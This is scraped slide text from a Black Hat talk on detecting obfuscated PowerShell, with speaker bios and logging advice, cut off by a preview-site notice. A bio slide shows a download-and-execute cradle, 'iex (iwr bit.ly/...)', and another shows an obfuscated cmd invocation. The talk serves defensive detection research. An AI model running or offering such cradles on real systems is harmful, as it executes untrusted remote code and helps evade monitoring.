Revoke-Obfuscation - Black Hat Briefings

Revoke-Obfuscation

> PowerShell Obfuscation Detection Using Science

Daniel Bohannon - @danielhbohannon

Lee Holmes - @Lee_Holmes

0.0/00

> Whois

-

MANDIANT Senior Applied Security Researcher

Invoke-Obfuscation, Invoke-CradleCrafter

Obfuscation, evasion and detection techniques

@danielhbohannon

%ProgramData:~0,1%%ProgramData:~9,2% /c echo OBFUSCATION_FTW!

Title . @Speaker . Location

0.0/00

> Whois

-

Lead security architect of Azure Management @ MS

Author of the Windows PowerShell Cookbook

Original member of PowerShell Development Team

@Lee_Holmes

iex (iwr bit.ly/e0Mw9w)

Title . @Speaker . Location

0.0/00

Title . @Speaker . Location

0.0/00

Preparing Your Environment for Investigations

? Logs (and retention) are your friend ? 1) enable 2) centralize 3) LOOK/MONITOR

? Process Auditing AND Command Line Process Auditing ? 4688 FTW!

?

? SysInternals¡¯ Sysmon is also a solid option

? Real-time Process Monitoring

? Uproot IDS -

? PowerShell Module, ScriptBlock, and Transcription logging

?

?

 ................
................

In order to avoid copyright disputes, this page is only a partial summary.

Google Online Preview   Download